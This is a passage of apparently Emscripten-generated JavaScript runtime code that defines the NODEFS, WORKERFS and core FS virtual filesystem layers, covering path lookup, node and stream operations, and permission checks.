  2714.                 IDBFS.removeLocalEntry(path, done)
  2715.             } else {
  2716.                 IDBFS.removeRemoteEntry(store, path, done)
  2717.             }
  2718.         }
  2719.         ))
  2720.     }
  2721.     )
  2722. };
  2723. var NODEFS = {
  2724.     isWindows: false,
  2725.     staticInit: (function() {
  2726.         NODEFS.isWindows = !!process.platform.match(/^win/)
  2727.     }
  2728.     ),
  2729.     mount: (function(mount) {
  2730.         assert(ENVIRONMENT_IS_NODE);
  2731.         return NODEFS.createNode(null, "/", NODEFS.getMode(mount.opts.root), 0)
  2732.     }
  2733.     ),
  2734.     createNode: (function(parent, name, mode, dev) {
  2735.         if (!FS.isDir(mode) && !FS.isFile(mode) && !FS.isLink(mode)) {
  2736.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2737.         }
  2738.         var node = FS.createNode(parent, name, mode);
  2739.         node.node_ops = NODEFS.node_ops;
  2740.         node.stream_ops = NODEFS.stream_ops;
  2741.         return node
  2742.     }
  2743.     ),
  2744.     getMode: (function(path) {
  2745.         var stat;
  2746.         try {
  2747.             stat = fs.lstatSync(path);
  2748.             if (NODEFS.isWindows) {
  2749.                 stat.mode = stat.mode | (stat.mode & 146) >> 1
  2750.             }
  2751.         } catch (e) {
  2752.             if (!e.code)
  2753.                 throw e;
  2754.             throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2755.         }
  2756.         return stat.mode
  2757.     }
  2758.     ),
  2759.     realPath: (function(node) {
  2760.         var parts = [];
  2761.         while (node.parent !== node) {
  2762.             parts.push(node.name);
  2763.             node = node.parent
  2764.         }
  2765.         parts.push(node.mount.opts.root);
  2766.         parts.reverse();
  2767.         return PATH.join.apply(null, parts)
  2768.     }
  2769.     ),
  2770.     flagsToPermissionStringMap: {
  2771.         0: "r",
  2772.         1: "r+",
  2773.         2: "r+",
  2774.         64: "r",
  2775.         65: "r+",
  2776.         66: "r+",
  2777.         129: "rx+",
  2778.         193: "rx+",
  2779.         514: "w+",
  2780.         577: "w",
  2781.         578: "w+",
  2782.         705: "wx",
  2783.         706: "wx+",
  2784.         1024: "a",
  2785.         1025: "a",
  2786.         1026: "a+",
  2787.         1089: "a",
  2788.         1090: "a+",
  2789.         1153: "ax",
  2790.         1154: "ax+",
  2791.         1217: "ax",
  2792.         1218: "ax+",
  2793.         4096: "rs",
  2794.         4098: "rs+"
  2795.     },
  2796.     flagsToPermissionString: (function(flags) {
  2797.         flags &= ~2097152;
  2798.         flags &= ~2048;
  2799.         flags &= ~32768;
  2800.         flags &= ~524288;
  2801.         if (flags in NODEFS.flagsToPermissionStringMap) {
  2802.             return NODEFS.flagsToPermissionStringMap[flags]
  2803.         } else {
  2804.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2805.         }
  2806.     }
  2807.     ),
  2808.     node_ops: {
  2809.         getattr: (function(node) {
  2810.             var path = NODEFS.realPath(node);
  2811.             var stat;
  2812.             try {
  2813.                 stat = fs.lstatSync(path)
  2814.             } catch (e) {
  2815.                 if (!e.code)
  2816.                     throw e;
  2817.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2818.             }
  2819.             if (NODEFS.isWindows && !stat.blksize) {
  2820.                 stat.blksize = 4096
  2821.             }
  2822.             if (NODEFS.isWindows && !stat.blocks) {
  2823.                 stat.blocks = (stat.size + stat.blksize - 1) / stat.blksize | 0
  2824.             }
  2825.             return {
  2826.                 dev: stat.dev,
  2827.                 ino: stat.ino,
  2828.                 mode: stat.mode,
  2829.                 nlink: stat.nlink,
  2830.                 uid: stat.uid,
  2831.                 gid: stat.gid,
  2832.                 rdev: stat.rdev,
  2833.                 size: stat.size,
  2834.                 atime: stat.atime,
  2835.                 mtime: stat.mtime,
  2836.                 ctime: stat.ctime,
  2837.                 blksize: stat.blksize,
  2838.                 blocks: stat.blocks
  2839.             }
  2840.         }
  2841.         ),
  2842.         setattr: (function(node, attr) {
  2843.             var path = NODEFS.realPath(node);
  2844.             try {
  2845.                 if (attr.mode !== undefined) {
  2846.                     fs.chmodSync(path, attr.mode);
  2847.                     node.mode = attr.mode
  2848.                 }
  2849.                 if (attr.timestamp !== undefined) {
  2850.                     var date = new Date(attr.timestamp);
  2851.                     fs.utimesSync(path, date, date)
  2852.                 }
  2853.                 if (attr.size !== undefined) {
  2854.                     fs.truncateSync(path, attr.size)
  2855.                 }
  2856.             } catch (e) {
  2857.                 if (!e.code)
  2858.                     throw e;
  2859.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2860.             }
  2861.         }
  2862.         ),
  2863.         lookup: (function(parent, name) {
  2864.             var path = PATH.join2(NODEFS.realPath(parent), name);
  2865.             var mode = NODEFS.getMode(path);
  2866.             return NODEFS.createNode(parent, name, mode)
  2867.         }
  2868.         ),
  2869.         mknod: (function(parent, name, mode, dev) {
  2870.             var node = NODEFS.createNode(parent, name, mode, dev);
  2871.             var path = NODEFS.realPath(node);
  2872.             try {
  2873.                 if (FS.isDir(node.mode)) {
  2874.                     fs.mkdirSync(path, node.mode)
  2875.                 } else {
  2876.                     fs.writeFileSync(path, "", {
  2877.                         mode: node.mode
  2878.                     })
  2879.                 }
  2880.             } catch (e) {
  2881.                 if (!e.code)
  2882.                     throw e;
  2883.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2884.             }
  2885.             return node
  2886.         }
  2887.         ),
  2888.         rename: (function(oldNode, newDir, newName) {
  2889.             var oldPath = NODEFS.realPath(oldNode);
  2890.             var newPath = PATH.join2(NODEFS.realPath(newDir), newName);
  2891.             try {
  2892.                 fs.renameSync(oldPath, newPath)
  2893.             } catch (e) {
  2894.                 if (!e.code)
  2895.                     throw e;
  2896.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2897.             }
  2898.         }
  2899.         ),
  2900.         unlink: (function(parent, name) {
  2901.             var path = PATH.join2(NODEFS.realPath(parent), name);
  2902.             try {
  2903.                 fs.unlinkSync(path)
  2904.             } catch (e) {
  2905.                 if (!e.code)
  2906.                     throw e;
  2907.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2908.             }
  2909.         }
  2910.         ),
  2911.         rmdir: (function(parent, name) {
  2912.             var path = PATH.join2(NODEFS.realPath(parent), name);
  2913.             try {
  2914.                 fs.rmdirSync(path)
  2915.             } catch (e) {
  2916.                 if (!e.code)
  2917.                     throw e;
  2918.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2919.             }
  2920.         }
  2921.         ),
  2922.         readdir: (function(node) {
  2923.             var path = NODEFS.realPath(node);
  2924.             try {
  2925.                 return fs.readdirSync(path)
  2926.             } catch (e) {
  2927.                 if (!e.code)
  2928.                     throw e;
  2929.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2930.             }
  2931.         }
  2932.         ),
  2933.         symlink: (function(parent, newName, oldPath) {
  2934.             var newPath = PATH.join2(NODEFS.realPath(parent), newName);
  2935.             try {
  2936.                 fs.symlinkSync(oldPath, newPath)
  2937.             } catch (e) {
  2938.                 if (!e.code)
  2939.                     throw e;
  2940.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2941.             }
  2942.         }
  2943.         ),
  2944.         readlink: (function(node) {
  2945.             var path = NODEFS.realPath(node);
  2946.             try {
  2947.                 path = fs.readlinkSync(path);
  2948.                 path = NODEJS_PATH.relative(NODEJS_PATH.resolve(node.mount.opts.root), path);
  2949.                 return path
  2950.             } catch (e) {
  2951.                 if (!e.code)
  2952.                     throw e;
  2953.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2954.             }
  2955.         }
  2956.         )
  2957.     },
  2958.     stream_ops: {
  2959.         open: (function(stream) {
  2960.             var path = NODEFS.realPath(stream.node);
  2961.             try {
  2962.                 if (FS.isFile(stream.node.mode)) {
  2963.                     stream.nfd = fs.openSync(path, NODEFS.flagsToPermissionString(stream.flags))
  2964.                 }
  2965.             } catch (e) {
  2966.                 if (!e.code)
  2967.                     throw e;
  2968.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2969.             }
  2970.         }
  2971.         ),
  2972.         close: (function(stream) {
  2973.             try {
  2974.                 if (FS.isFile(stream.node.mode) && stream.nfd) {
  2975.                     fs.closeSync(stream.nfd)
  2976.                 }
  2977.             } catch (e) {
  2978.                 if (!e.code)
  2979.                     throw e;
  2980.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2981.             }
  2982.         }
  2983.         ),
  2984.         read: (function(stream, buffer, offset, length, position) {
  2985.             if (length === 0)
  2986.                 return 0;
  2987.             var nbuffer = new Buffer(length);
  2988.             var res;
  2989.             try {
  2990.                 res = fs.readSync(stream.nfd, nbuffer, 0, length, position)
  2991.             } catch (e) {
  2992.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2993.             }
  2994.             if (res > 0) {
  2995.                 for (var i = 0; i < res; i++) {
  2996.                     buffer[offset + i] = nbuffer[i]
  2997.                 }
  2998.             }
  2999.             return res
  3000.         }
  3001.         ),
  3002.         write: (function(stream, buffer, offset, length, position) {
  3003.             var nbuffer = new Buffer(buffer.subarray(offset, offset + length));
  3004.             var res;
  3005.             try {
  3006.                 res = fs.writeSync(stream.nfd, nbuffer, 0, length, position)
  3007.             } catch (e) {
  3008.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  3009.             }
  3010.             return res
  3011.         }
  3012.         ),
  3013.         llseek: (function(stream, offset, whence) {
  3014.             var position = offset;
  3015.             if (whence === 1) {
  3016.                 position += stream.position
  3017.             } else if (whence === 2) {
  3018.                 if (FS.isFile(stream.node.mode)) {
  3019.                     try {
  3020.                         var stat = fs.fstatSync(stream.nfd);
  3021.                         position += stat.size
  3022.                     } catch (e) {
  3023.                         throw new FS.ErrnoError(ERRNO_CODES[e.code])
  3024.                     }
  3025.                 }
  3026.             }
  3027.             if (position < 0) {
  3028.                 throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3029.             }
  3030.             return position
  3031.         }
  3032.         )
  3033.     }
  3034. };
  3035. var WORKERFS = {
  3036.     DIR_MODE: 16895,
  3037.     FILE_MODE: 33279,
  3038.     reader: null,
  3039.     mount: (function(mount) {
  3040.         assert(ENVIRONMENT_IS_WORKER);
  3041.         if (!WORKERFS.reader)
  3042.             WORKERFS.reader = new FileReaderSync;
  3043.         var root = WORKERFS.createNode(null, "/", WORKERFS.DIR_MODE, 0);
  3044.         var createdParents = {};
  3045.         function ensureParent(path) {
  3046.             var parts = path.split("/");
  3047.             var parent = root;
  3048.             for (var i = 0; i < parts.length - 1; i++) {
  3049.                 var curr = parts.slice(0, i + 1).join("/");
  3050.                 if (!createdParents[curr]) {
  3051.                     createdParents[curr] = WORKERFS.createNode(parent, parts[i], WORKERFS.DIR_MODE, 0)
  3052.                 }
  3053.                 parent = createdParents[curr]
  3054.             }
  3055.             return parent
  3056.         }
  3057.         function base(path) {
  3058.             var parts = path.split("/");
  3059.             return parts[parts.length - 1]
  3060.         }
  3061.         Array.prototype.forEach.call(mount.opts["files"] || [], (function(file) {
  3062.             WORKERFS.createNode(ensureParent(file.name), base(file.name), WORKERFS.FILE_MODE, 0, file, file.lastModifiedDate)
  3063.         }
  3064.         ));
  3065.         (mount.opts["blobs"] || []).forEach((function(obj) {
  3066.             WORKERFS.createNode(ensureParent(obj["name"]), base(obj["name"]), WORKERFS.FILE_MODE, 0, obj["data"])
  3067.         }
  3068.         ));
  3069.         (mount.opts["packages"] || []).forEach((function(pack) {
  3070.             pack["metadata"].files.forEach((function(file) {
  3071.                 var name = file.filename.substr(1);
  3072.                 WORKERFS.createNode(ensureParent(name), base(name), WORKERFS.FILE_MODE, 0, pack["blob"].slice(file.start, file.end))
  3073.             }
  3074.             ))
  3075.         }
  3076.         ));
  3077.         return root
  3078.     }
  3079.     ),
  3080.     createNode: (function(parent, name, mode, dev, contents, mtime) {
  3081.         var node = FS.createNode(parent, name, mode);
  3082.         node.mode = mode;
  3083.         node.node_ops = WORKERFS.node_ops;
  3084.         node.stream_ops = WORKERFS.stream_ops;
  3085.         node.timestamp = (mtime || new Date).getTime();
  3086.         assert(WORKERFS.FILE_MODE !== WORKERFS.DIR_MODE);
  3087.         if (mode === WORKERFS.FILE_MODE) {
  3088.             node.size = contents.size;
  3089.             node.contents = contents
  3090.         } else {
  3091.             node.size = 4096;
  3092.             node.contents = {}
  3093.         }
  3094.         if (parent) {
  3095.             parent.contents[name] = node
  3096.         }
  3097.         return node
  3098.     }
  3099.     ),
  3100.     node_ops: {
  3101.         getattr: (function(node) {
  3102.             return {
  3103.                 dev: 1,
  3104.                 ino: undefined,
  3105.                 mode: node.mode,
  3106.                 nlink: 1,
  3107.                 uid: 0,
  3108.                 gid: 0,
  3109.                 rdev: undefined,
  3110.                 size: node.size,
  3111.                 atime: new Date(node.timestamp),
  3112.                 mtime: new Date(node.timestamp),
  3113.                 ctime: new Date(node.timestamp),
  3114.                 blksize: 4096,
  3115.                 blocks: Math.ceil(node.size / 4096)
  3116.             }
  3117.         }
  3118.         ),
  3119.         setattr: (function(node, attr) {
  3120.             if (attr.mode !== undefined) {
  3121.                 node.mode = attr.mode
  3122.             }
  3123.             if (attr.timestamp !== undefined) {
  3124.                 node.timestamp = attr.timestamp
  3125.             }
  3126.         }
  3127.         ),
  3128.         lookup: (function(parent, name) {
  3129.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3130.         }
  3131.         ),
  3132.         mknod: (function(parent, name, mode, dev) {
  3133.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3134.         }
  3135.         ),
  3136.         rename: (function(oldNode, newDir, newName) {
  3137.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3138.         }
  3139.         ),
  3140.         unlink: (function(parent, name) {
  3141.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3142.         }
  3143.         ),
  3144.         rmdir: (function(parent, name) {
  3145.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3146.         }
  3147.         ),
  3148.         readdir: (function(node) {
  3149.             var entries = [".", ".."];
  3150.             for (var key in node.contents) {
  3151.                 if (!node.contents.hasOwnProperty(key)) {
  3152.                     continue
  3153.                 }
  3154.                 entries.push(key)
  3155.             }
  3156.             return entries
  3157.         }
  3158.         ),
  3159.         symlink: (function(parent, newName, oldPath) {
  3160.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3161.         }
  3162.         ),
  3163.         readlink: (function(node) {
  3164.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3165.         }
  3166.         )
  3167.     },
  3168.     stream_ops: {
  3169.         read: (function(stream, buffer, offset, length, position) {
  3170.             if (position >= stream.node.size)
  3171.                 return 0;
  3172.             var chunk = stream.node.contents.slice(position, position + length);
  3173.             var ab = WORKERFS.reader.readAsArrayBuffer(chunk);
  3174.             buffer.set(new Uint8Array(ab), offset);
  3175.             return chunk.size
  3176.         }
  3177.         ),
  3178.         write: (function(stream, buffer, offset, length, position) {
  3179.             throw new FS.ErrnoError(ERRNO_CODES.EIO)
  3180.         }
  3181.         ),
  3182.         llseek: (function(stream, offset, whence) {
  3183.             var position = offset;
  3184.             if (whence === 1) {
  3185.                 position += stream.position
  3186.             } else if (whence === 2) {
  3187.                 if (FS.isFile(stream.node.mode)) {
  3188.                     position += stream.node.size
  3189.                 }
  3190.             }
  3191.             if (position < 0) {
  3192.                 throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3193.             }
  3194.             return position
  3195.         }
  3196.         )
  3197.     }
  3198. };
  3199. STATICTOP += 16;
  3200. STATICTOP += 16;
  3201. STATICTOP += 16;
  3202. var FS = {
  3203.     root: null,
  3204.     mounts: [],
  3205.     devices: [null],
  3206.     streams: [],
  3207.     nextInode: 1,
  3208.     nameTable: null,
  3209.     currentPath: "/",
  3210.     initialized: false,
  3211.     ignorePermissions: true,
  3212.     trackingDelegate: {},
  3213.     tracking: {
  3214.         openFlags: {
  3215.             READ: 1,
  3216.             WRITE: 2
  3217.         }
  3218.     },
  3219.     ErrnoError: null,
  3220.     genericErrors: {},
  3221.     filesystems: null,
  3222.     syncFSRequests: 0,
  3223.     handleFSError: (function(e) {
  3224.         if (!(e instanceof FS.ErrnoError))
  3225.             throw e + " : " + stackTrace();
  3226.         return ___setErrNo(e.errno)
  3227.     }
  3228.     ),
  3229.     lookupPath: (function(path, opts) {
  3230.         path = PATH.resolve(FS.cwd(), path);
  3231.         opts = opts || {};
  3232.         if (!path)
  3233.             return {
  3234.                 path: "",
  3235.                 node: null
  3236.             };
  3237.         var defaults = {
  3238.             follow_mount: true,
  3239.             recurse_count: 0
  3240.         };
  3241.         for (var key in defaults) {
  3242.             if (opts[key] === undefined) {
  3243.                 opts[key] = defaults[key]
  3244.             }
  3245.         }
  3246.         if (opts.recurse_count > 8) {
  3247.             throw new FS.ErrnoError(ERRNO_CODES.ELOOP)
  3248.         }
  3249.         var parts = PATH.normalizeArray(path.split("/").filter((function(p) {
  3250.             return !!p
  3251.         }
  3252.         )), false);
  3253.         var current = FS.root;
  3254.         var current_path = "/";
  3255.         for (var i = 0; i < parts.length; i++) {
  3256.             var islast = i === parts.length - 1;
  3257.             if (islast && opts.parent) {
  3258.                 break
  3259.             }
  3260.             current = FS.lookupNode(current, parts[i]);
  3261.             current_path = PATH.join2(current_path, parts[i]);
  3262.             if (FS.isMountpoint(current)) {
  3263.                 if (!islast || islast && opts.follow_mount) {
  3264.                     current = current.mounted.root
  3265.                 }
  3266.             }
  3267.             if (!islast || opts.follow) {
  3268.                 var count = 0;
  3269.                 while (FS.isLink(current.mode)) {
  3270.                     var link = FS.readlink(current_path);
  3271.                     current_path = PATH.resolve(PATH.dirname(current_path), link);
  3272.                     var lookup = FS.lookupPath(current_path, {
  3273.                         recurse_count: opts.recurse_count
  3274.                     });
  3275.                     current = lookup.node;
  3276.                     if (count++ > 40) {
  3277.                         throw new FS.ErrnoError(ERRNO_CODES.ELOOP)
  3278.                     }
  3279.                 }
  3280.             }
  3281.         }
  3282.         return {
  3283.             path: current_path,
  3284.             node: current
  3285.         }
  3286.     }
  3287.     ),
  3288.     getPath: (function(node) {
  3289.         var path;
  3290.         while (true) {
  3291.             if (FS.isRoot(node)) {
  3292.                 var mount = node.mount.mountpoint;
  3293.                 if (!path)
  3294.                     return mount;
  3295.                 return mount[mount.length - 1] !== "/" ? mount + "/" + path : mount + path
  3296.             }
  3297.             path = path ? node.name + "/" + path : node.name;
  3298.             node = node.parent
  3299.         }
  3300.     }
  3301.     ),
  3302.     hashName: (function(parentid, name) {
  3303.         var hash = 0;
  3304.         for (var i = 0; i < name.length; i++) {
  3305.             hash = (hash << 5) - hash + name.charCodeAt(i) | 0
  3306.         }
  3307.         return (parentid + hash >>> 0) % FS.nameTable.length
  3308.     }
  3309.     ),
  3310.     hashAddNode: (function(node) {
  3311.         var hash = FS.hashName(node.parent.id, node.name);
  3312.         node.name_next = FS.nameTable[hash];
  3313.         FS.nameTable[hash] = node
  3314.     }
  3315.     ),
  3316.     hashRemoveNode: (function(node) {
  3317.         var hash = FS.hashName(node.parent.id, node.name);
  3318.         if (FS.nameTable[hash] === node) {
  3319.             FS.nameTable[hash] = node.name_next
  3320.         } else {
  3321.             var current = FS.nameTable[hash];
  3322.             while (current) {
  3323.                 if (current.name_next === node) {
  3324.                     current.name_next = node.name_next;
  3325.                     break
  3326.                 }
  3327.                 current = current.name_next
  3328.             }
  3329.         }
  3330.     }
  3331.     ),
  3332.     lookupNode: (function(parent, name) {
  3333.         var err = FS.mayLookup(parent);
  3334.         if (err) {
  3335.             throw new FS.ErrnoError(err,parent)
  3336.         }
  3337.         var hash = FS.hashName(parent.id, name);
  3338.         for (var node = FS.nameTable[hash]; node; node = node.name_next) {
  3339.             var nodeName = node.name;
  3340.             if (node.parent.id === parent.id && nodeName === name) {
  3341.                 return node
  3342.             }
  3343.         }
  3344.         return FS.lookup(parent, name)
  3345.     }
  3346.     ),
  3347.     createNode: (function(parent, name, mode, rdev) {
  3348.         if (!FS.FSNode) {
  3349.             FS.FSNode = (function(parent, name, mode, rdev) {
  3350.                 if (!parent) {
  3351.                     parent = this
  3352.                 }
  3353.                 this.parent = parent;
  3354.                 this.mount = parent.mount;
  3355.                 this.mounted = null;
  3356.                 this.id = FS.nextInode++;
  3357.                 this.name = name;
  3358.                 this.mode = mode;
  3359.                 this.node_ops = {};
  3360.                 this.stream_ops = {};
  3361.                 this.rdev = rdev
  3362.             }
  3363.             );
  3364.             FS.FSNode.prototype = {};
  3365.             var readMode = 292 | 73;
  3366.             var writeMode = 146;
  3367.             Object.defineProperties(FS.FSNode.prototype, {
  3368.                 read: {
  3369.                     get: (function() {
  3370.                         return (this.mode & readMode) === readMode
  3371.                     }
  3372.                     ),
  3373.                     set: (function(val) {
  3374.                         val ? this.mode |= readMode : this.mode &= ~readMode
  3375.                     }
  3376.                     )
  3377.                 },
  3378.                 write: {
  3379.                     get: (function() {
  3380.                         return (this.mode & writeMode) === writeMode
  3381.                     }
  3382.                     ),
  3383.                     set: (function(val) {
  3384.                         val ? this.mode |= writeMode : this.mode &= ~writeMode
  3385.                     }
  3386.                     )
  3387.                 },
  3388.                 isFolder: {
  3389.                     get: (function() {
  3390.                         return FS.isDir(this.mode)
  3391.                     }
  3392.                     )
  3393.                 },
  3394.                 isDevice: {
  3395.                     get: (function() {
  3396.                         return FS.isChrdev(this.mode)
  3397.                     }
  3398.                     )
  3399.                 }
  3400.             })
  3401.         }
  3402.         var node = new FS.FSNode(parent,name,mode,rdev);
  3403.         FS.hashAddNode(node);
  3404.         return node
  3405.     }
  3406.     ),
  3407.     destroyNode: (function(node) {
  3408.         FS.hashRemoveNode(node)
  3409.     }
  3410.     ),
  3411.     isRoot: (function(node) {
  3412.         return node === node.parent
  3413.     }
  3414.     ),
  3415.     isMountpoint: (function(node) {
  3416.         return !!node.mounted
  3417.     }
  3418.     ),
  3419.     isFile: (function(mode) {
  3420.         return (mode & 61440) === 32768
  3421.     }
  3422.     ),
  3423.     isDir: (function(mode) {
  3424.         return (mode & 61440) === 16384
  3425.     }
  3426.     ),
  3427.     isLink: (function(mode) {
  3428.         return (mode & 61440) === 40960
  3429.     }
  3430.     ),
  3431.     isChrdev: (function(mode) {
  3432.         return (mode & 61440) === 8192
  3433.     }
  3434.     ),
  3435.     isBlkdev: (function(mode) {
  3436.         return (mode & 61440) === 24576
  3437.     }
  3438.     ),
  3439.     isFIFO: (function(mode) {
  3440.         return (mode & 61440) === 4096
  3441.     }
  3442.     ),
  3443.     isSocket: (function(mode) {
  3444.         return (mode & 49152) === 49152
  3445.     }
  3446.     ),
  3447.     flagModes: {
  3448.         "r": 0,
  3449.         "rs": 1052672,
  3450.         "r+": 2,
  3451.         "w": 577,
  3452.         "wx": 705,
  3453.         "xw": 705,
  3454.         "w+": 578,
  3455.         "wx+": 706,
  3456.         "xw+": 706,
  3457.         "a": 1089,
  3458.         "ax": 1217,
  3459.         "xa": 1217,
  3460.         "a+": 1090,
  3461.         "ax+": 1218,
  3462.         "xa+": 1218
  3463.     },
  3464.     modeStringToFlags: (function(str) {
  3465.         var flags = FS.flagModes[str];
  3466.         if (typeof flags === "undefined") {
  3467.             throw new Error("Unknown file open mode: " + str)
  3468.         }
  3469.         return flags
  3470.     }
  3471.     ),
  3472.     flagsToPermissionString: (function(flag) {
  3473.         var perms = ["r", "w", "rw"][flag & 3];
  3474.         if (flag & 512) {
  3475.             perms += "w"
  3476.         }
  3477.         return perms
  3478.     }
  3479.     ),
  3480.     nodePermissions: (function(node, perms) {
  3481.         if (FS.ignorePermissions) {
  3482.             return 0
  3483.         }
  3484.         if (perms.indexOf("r") !== -1 && !(node.mode & 292)) {
  3485.             return ERRNO_CODES.EACCES
  3486.         } else if (perms.indexOf("w") !== -1 && !(node.mode & 146)) {
  3487.             return ERRNO_CODES.EACCES
  3488.         } else if (perms.indexOf("x") !== -1 && !(node.mode & 73)) {
  3489.             return ERRNO_CODES.EACCES
  3490.         }
  3491.         return 0
  3492.     }
  3493.     ),
  3494.     mayLookup: (function(dir) {
  3495.         var err = FS.nodePermissions(dir, "x");
  3496.         if (err)
  3497.             return err;
  3498.         if (!dir.node_ops.lookup)
  3499.             return ERRNO_CODES.EACCES;
  3500.         return 0
  3501.     }
  3502.     ),
  3503.     mayCreate: (function(dir, name) {
  3504.         try {
  3505.             var node = FS.lookupNode(dir, name);
  3506.             return ERRNO_CODES.EEXIST
  3507.         } catch (e) {}
  3508.         return FS.nodePermissions(dir, "wx")
  3509.     }
  3510.     ),
  3511.     mayDelete: (function(dir, name, isdir) {
  3512.         var node;
  3513.         try {
  3514.             node = FS.lookupNode(dir, name)
  3515.         } catch (e) {
  3516.             return e.errno
  3517.         }
  3518.         var err = FS.nodePermissions(dir, "wx");
  3519.         if (err) {
  3520.             return err
  3521.         }
  3522.         if (isdir) {
  3523.             if (!FS.isDir(node.mode)) {
  3524.                 return ERRNO_CODES.ENOTDIR
  3525.             }
  3526.             if (FS.isRoot(node) || FS.getPath(node) === FS.cwd()) {
  3527.                 return ERRNO_CODES.EBUSY
  3528.             }
  3529.         } else {
  3530.             if (FS.isDir(node.mode)) {
  3531.                 return ERRNO_CODES.EISDIR
  3532.             }
  3533.         }
  3534.         return 0
  3535.     }
  3536.     ),
  3537.     mayOpen: (function(node, flags) {
  3538.         if (!node) {
  3539.             return ERRNO_CODES.ENOENT
  3540.         }
  3541.         if (FS.isLink(node.mode)) {
  3542.             return ERRNO_CODES.ELOOP
  3543.         } else if (FS.isDir(node.mode)) {
  3544.             if (FS.flagsToPermissionString(flags) !== "r" || flags & 512) {
  3545.                 return ERRNO_CODES.EISDIR
  3546.             }
  3547.         }
  3548.         return FS.nodePermissions(node, FS.flagsToPermissionString(flags))
  3549.     }
  3550.     ),
  3551.     MAX_OPEN_FDS: 4096,
  3552.     nextfd: (function(fd_start, fd_end) {
  3553.         fd_start = fd_start || 0;
  3554.         fd_end = fd_end || FS.MAX_OPEN_FDS;
  3555.         for (var fd = fd_start; fd <= fd_end; fd++) {
  3556.             if (!FS.streams[fd]) {
  3557.                 return fd
  3558.             }
  3559.         }
  3560.         throw new FS.ErrnoError(ERRNO_CODES.EMFILE)
  3561.     }
  3562.     ),
  3563.     getStream: (function(fd) {
  3564.         return FS.streams[fd]
  3565.     }
  3566.     ),
  3567.     createStream: (function(stream, fd_start, fd_end) {
  3568.         if (!FS.FSStream) {
  3569.             FS.FSStream = (function() {}
  3570.             );
  3571.             FS.FSStream.prototype = {};
  3572.             Object.defineProperties(FS.FSStream.prototype, {
  3573.                 object: {
  3574.                     get: (function() {
  3575.                         return this.node
  3576.                     }
  3577.                     ),
  3578.                     set: (function(val) {
  3579.                         this.node = val
  3580.                     }
  3581.                     )
  3582.                 },
  3583.                 isRead: {
  3584.                     get: (function() {
  3585.                         return (this.flags & 2097155) !== 1
  3586.                     }
  3587.                     )
  3588.                 },
  3589.                 isWrite: {
  3590.                     get: (function() {
  3591.                         return (this.flags & 2097155) !== 0
  3592.                     }
  3593.                     )
  3594.                 },
  3595.                 isAppend: {
  3596.                     get: (function() {
  3597.                         return this.flags & 1024
  3598.                     }
  3599.                     )
  3600.                 }
  3601.             })
  3602.         }
  3603.         var newStream = new FS.FSStream;
  3604.         for (var p in stream) {
  3605.             newStream[p] = stream[p]
  3606.         }
  3607.         stream = newStream;
  3608.         var fd = FS.nextfd(fd_start, fd_end);
  3609.         stream.fd = fd;
  3610.         FS.streams[fd] = stream;
  3611.         return stream
  3612.     }
  3613.     ),
  3614.     closeStream: (function(fd) {
  3615.         FS.streams[fd] = null
  3616.     }
  3617.     ),
  3618.     chrdev_stream_ops: {
  3619.         open: (function(stream) {
  3620.             var device = FS.getDevice(stream.node.rdev);
  3621.             stream.stream_ops = device.stream_ops;
  3622.             if (stream.stream_ops.open) {
  3623.                 stream.stream_ops.open(stream)
  3624.             }
  3625.         }
  3626.         ),
  3627.         llseek: (function() {
  3628.             throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  3629.         }
  3630.         )
  3631.     },
  3632.     major: (function(dev) {
  3633.         return dev >> 8
  3634.     }
  3635.     ),
  3636.     minor: (function(dev) {
  3637.         return dev & 255
  3638.     }
  3639.     ),
  3640.     makedev: (function(ma, mi) {
  3641.         return ma << 8 | mi
  3642.     }
  3643.     ),
  3644.     registerDevice: (function(dev, ops) {
  3645.         FS.devices[dev] = {
  3646.             stream_ops: ops
  3647.         }
  3648.     }
  3649.     ),
  3650.     getDevice: (function(dev) {
  3651.         return FS.devices[dev]
  3652.     }
  3653.     ),
  3654.     getMounts: (function(mount) {
  3655.         var mounts = [];
  3656.         var check = [mount];
  3657.         while (check.length) {
  3658.             var m = check.pop();
  3659.             mounts.push(m);
  3660.             check.push.apply(check, m.mounts)
  3661.         }
  3662.         return mounts
  3663.     }
  3664.     ),
  3665.     syncfs: (function(populate, callback) {
  3666.         if (typeof populate === "function") {
  3667.             callback = populate;
  3668.             populate = false
  3669.         }
  3670.         FS.syncFSRequests++;
  3671.         if (FS.syncFSRequests > 1) {
  3672.             console.log("warning: " + FS.syncFSRequests + " FS.syncfs operations in flight at once, probably just doing extra work")
  3673.         }
  3674.         var mounts = FS.getMounts(FS.root.mount);
  3675.         var completed = 0;
  3676.         function doCallback(err) {
  3677.             assert(FS.syncFSRequests > 0);
  3678.             FS.syncFSRequests--;
  3679.             return callback(err)
  3680.         }
  3681.         function done(err) {
  3682.             if (err) {
  3683.                 if (!done.errored) {
  3684.                     done.errored = true;
  3685.                     return doCallback(err)
  3686.                 }
  3687.                 return
  3688.             }
  3689.             if (++completed >= mounts.length) {
  3690.                 doCallback(null)
  3691.             }
  3692.         }
  3693.         mounts.forEach((function(mount) {
  3694.             if (!mount.type.syncfs) {
  3695.                 return done(null)
  3696.             }
